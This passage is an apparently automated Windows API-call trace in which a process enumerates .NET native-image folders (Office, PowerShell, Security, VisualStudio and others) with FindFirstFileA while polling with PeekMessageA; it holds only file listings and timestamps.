ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69d86bc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.680] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.682] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Office.To#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ed5c0f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x24060030, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x24060030, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.684] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Office.To#\\2c88820845f81a85c8caf6975d73c992\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24060030, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x24060030, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x24060030, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.685] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.690] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Office.To#\\adf2ed57d59e50c7b25f9f8869d09e36\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x239fa510, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x239fa510, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x239fa510, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.691] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.710] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Office.To#\\e1f8e4d08d4b7f811b7dbbacd324027b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ed5c0f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1ed5c0f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1ed5c0f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.711] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.714] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Office.To#\\f507365504ffb246bf981e626772d43d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c359b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x23c359b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x23c359b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.718] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.722] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Office.To#\\fba726a4e37b1af56f6b10dcb343a598\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2342cf70, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x2342cf70, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x2342cf70, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.723] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.730] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63325d3b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6c186221, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6c186221, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.731] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\2ba6bf6e9258afde91ab81fad2d37469\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b59f40b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6b59f40b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6b59f40b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.732] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.736] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\3008a05e2928e2c1d856cc34e0422c17\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6811ae4b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6816710b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6816710b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.737] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.741] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\4f68cd04686e5dc5a55070d112d44bdf\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63325d3b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x63325d3b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x63325d3b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.741] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.746] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\6cc1334749f85cce651642f0a8260892\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a45d46c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6a45d46c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6a45d46c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.747] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.749] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\8ce205027e30804d1b2deaffa0582735\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c186221, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6c186221, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6c186221, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.750] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.755] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\8df695fb80187f65208d87229e81e8a2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67403532, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x67403532, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x67403532, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.756] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.761] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\b1c511d8fad78ad3c5213b2b4fb02b8b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68780976, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x68780976, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x68780976, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.762] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.767] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\e998eeb1548ffd53b39dcde50d196ab7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bdf411b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6bdf411b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6bdf411b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.769] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.774] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Security.#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aa9e4c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbaa69730, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0xbaa69730, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.778] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Security.#\\3710621dc3c65616c4f62bd92619fe01\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ac8d6a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6ac8d6a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6ac8d6a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.778] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.783] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Security.#\\40e947ae0ec2fd2f63e8ca522f606aec\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bf1b6a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6bf1b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6bf1b6a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.784] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.789] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Security.#\\9fa0c0ee9093a5f1aaabffb101332056\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aa9e4c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa9e4c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6aa9e4c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.790] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.794] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Security.#\\d660f850b373b57c4e22a7100feeb1a4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbaa69730, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xbaa69730, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0xbaa69730, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.795] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.799] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Security.#\\de71165622f703a515b6b18175eb7996\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6abf5120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6abf5120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6abf5120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.800] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.805] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Security.#\\e166ff6b4e2f181ace48ef30fcc1b55c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ab36a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6ab36a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6ab36a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.805] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.810] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Transacti#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58bc7127, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5b5bb534, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b5bb534, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.810] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Transacti#\\4a235e617ad0a4c3aecd3982f0e3c48a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b5bb534, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5b5bb534, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b5bb534, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.811] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.815] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Transacti#\\af058f98427f47670e70468a36d84ee4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58bc7127, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x58bc7127, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x58bc7127, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.816] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.821] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6cddf458, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6cddf458, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6cddf458, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.821] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6cddf458, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6cddf458, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6cddf458, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.822] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.824] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualC\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8c422c, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xee8c422c, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xee8c422c, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.824] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualC\\4bfa36696bef033cf7e33b1a092c8a0f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8c422c, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xee8c422c, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xee8c422c, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.825] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.827] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e259b30, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4d32fbe0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4d32fbe0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.828] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\03cad6bd8b37d21b28dcb4f955be2158\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f114350, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1f114350, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1f114350, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.829] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.835] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\0cb958acb9cd4cacb46ebc0396e30aa3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f2dd3d0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x1f2dd3d0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x1f2dd3d0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.836] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.841] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4597d720, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4597d720, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4597d720, 